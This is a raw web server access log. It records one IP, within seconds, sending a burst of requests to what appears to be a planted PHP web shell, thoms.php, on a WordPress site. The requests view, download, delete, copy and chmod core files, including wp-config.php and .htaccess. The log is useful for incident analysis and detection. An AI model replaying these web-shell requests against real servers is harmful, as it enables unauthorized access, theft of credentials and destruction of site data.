45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?chmod=mah.php&p=bfl.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?dl=wp-activate.php&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?chmod=wp-admin&p=bfl.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-activate.php&p=bfl.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=upgrade&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:11 -0400] "GET /thoms.php?del=wp-config.php&p=bfl.com.tw HTTP/1.1" 200 17456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?chmod=cgi-bin&p=bfl.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=.well-known&p=bfl.com.tw HTTP/1.1" 200 17470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fupgrade&p= HTTP/1.1" 200 12036 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?chmod=wp-content&p=bfl.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13307 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-mail.php HTTP/1.1" 200 15342 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 17463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fxmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=cgi-bin&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13403 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.htaccess&p=bfl.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?dl=license.txt&p=bfl.com.tw HTTP/1.1" 200 17470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-signup.php HTTP/1.1" 200 22499 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=wp-admin&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?chmod=readme.html&p=bfl.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-settings.php HTTP/1.1" 200 19457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=wp-includes&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-cron.php HTTP/1.1" 200 14165 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=mah.php&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=queue-failed&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=.htaccess HTTP/1.1" 200 12726 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?dl=wp-mail.php&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13608 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=index.php HTTP/1.1" 200 12031 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=index.php&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?chmod=wp-config.php&p=bfl.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&view=locoy.php HTTP/1.1" 200 12941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=wp-login.php&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?p=bfl.com.tw&upload= HTTP/1.1" 200 12145 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:12 -0400] "GET /thoms.php?del=wp-mail.php&p=bfl.com.tw HTTP/1.1" 200 17462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=legacy-checkpoint&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?chmod=error_log&p=bfl.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=.htaccess&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Ferror_log&p=bfl.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?dl=wp-cron.php&p=bfl.com.tw HTTP/1.1" 200 17471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12031 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?p=bfl.com.tw&view=readme.html HTTP/1.1" 200 15223 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28918 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?p=bfl.com.tw&view=thoms.php HTTP/1.1" 200 11798 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-load.php HTTP/1.1" 200 13642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 17463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?chmod=.htaccess&p=bfl.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?dl=.htaccess&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bfl.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=thoms.php&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-login.php&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=wp-signup.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?dl=readme.html&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-settings.php&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /bfl.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12014 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-content&p= HTTP/1.1" 200 12017 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Freadme.html&p=bfl.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fthoms.php&p=bfl.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=upgrade&p=bfl.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:13 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "https://163.245.207.76/bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?dl=wp-signup.php&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=wp-login.php&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?del=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 17463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw&view=error_log HTTP/1.1" 200 13859 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?dl=index.php&p=bfl.com.tw HTTP/1.1" 200 17465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?del=readme.html&p=bfl.com.tw HTTP/1.1" 200 17472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 17473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?dl=wp-settings.php&p=bfl.com.tw HTTP/1.1" 200 17474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=legacy-checkpoint&p=bfl.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Flocoy.php&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fmah.php&p=bfl.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?del=wp-load.php&p=bfl.com.tw HTTP/1.1" 200 17474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?p=bfl.com.tw&view=xmlrpc.php HTTP/1.1" 200 13357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:14 -0400] "GET /thoms.php?chmod=.well-known&p=bfl.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
